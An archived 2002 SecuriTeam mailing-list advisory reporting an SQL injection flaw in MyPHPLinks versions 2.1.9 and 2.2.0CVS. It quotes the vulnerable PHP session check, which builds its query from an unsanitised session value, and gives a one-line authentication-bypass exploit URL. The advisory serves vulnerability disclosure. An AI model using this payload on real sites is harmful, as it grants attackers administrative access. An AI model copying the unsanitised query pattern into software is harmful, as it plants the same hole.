[UNIX] MyPHPLinks Vulnerable to SQL Injection

From: support@securiteam.com
Date: 12/15/02

  • Next message: support@securiteam.com: "[NT] VisNetic WebSite XSS vulnerability through HTTP Referer header"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 15 Dec 2002 23:21:39 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      MyPHPLinks Vulnerable to SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.myphpsoft.net/projets/myphplinks/> MyPHPLinks is a PHP engine
    that creates a web site enviroment very similar to Yahoo's. A security
    vulnerability in the product allows remote attackers to gain
    administrative privileges through an SQL inection attack.

    DETAILS

    Vulnerable systems:
     * MyPHPLinks version 2.1.9
     * MyPHPLinks version 2.2.0CVS

    Vulnerable code:
    admin/auth/checksession.php
    ---------------------------------------------------------------
    [...]
    if($idsession!=''){
    $dbs = new data(0,$MyPHPLinksHote, $MyPHPLinksBase, $MyPHPLinksUser,
    $MyPHPLinksPass);
    if(!$dbs->connect())
      die($dbs->error);
    if(!$dbs->query("select count(*) as nb from ".$MyPHPLinksTBAuth." where
    session='".$idsession."' and timesession > now()"))
      die($dbs->error);
    while($dbs->nextrecord()){
      $loginauth = $dbs->valeur("nb");
    }
    if ($loginauth==0){
      header("Location:$MyPHPLinksAuthPErrDef");exit;
    }else{
      if(!$dbs->query("UPDATE ".$MyPHPLinksTBAuth." set
    timesession=now()+".$MyPHPLinksTLSession." where
    session='".$idsession."'"))
       die($dbs->error);
    }
    }else{
    header("Location:$MyPHPLinksAuthPErrDef");exit;
    }
    ?>
    ---------------------------------------------------------------

    Exploit:
    http://[target]/admin/index.php?idsession='%20OR%20''='

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages

    • [NT] Cumulative Security Update for Internet Explorer (MS06-013)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... Microsoft Internet Explorer allow attackers to execute arbitrary code, ... A remote code execution vulnerability exists in the way Internet Explorer ...
      (Securiteam)
    • [NT] Cumulative Security Update for Internet Explorer (MS04-038)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... CSS Heap Memory Corruption Vulnerability, ... Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 ...
      (Securiteam)
    • [NT] Cumulative Security Update for Internet Explorer (MS06-021)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... Improper memory and user input handling with Internet Explorer allows ... A remote code execution vulnerability exists in the way Internet Explorer ...
      (Securiteam)
    • [NT] Vulnerability in Microsoft Agent Allows Code Execution (MS07-051)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... A remote code execution vulnerability exists in Microsoft Agent in the way ... Internet Explorer by setting the kill bit for the control in the registry. ...
      (Securiteam)
    • [NT] Cumulative Security Update for Internet Explorer (MS05-038)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... A buffer overflow vulnerability within Internet Explorer allows attackers ...
      (Securiteam)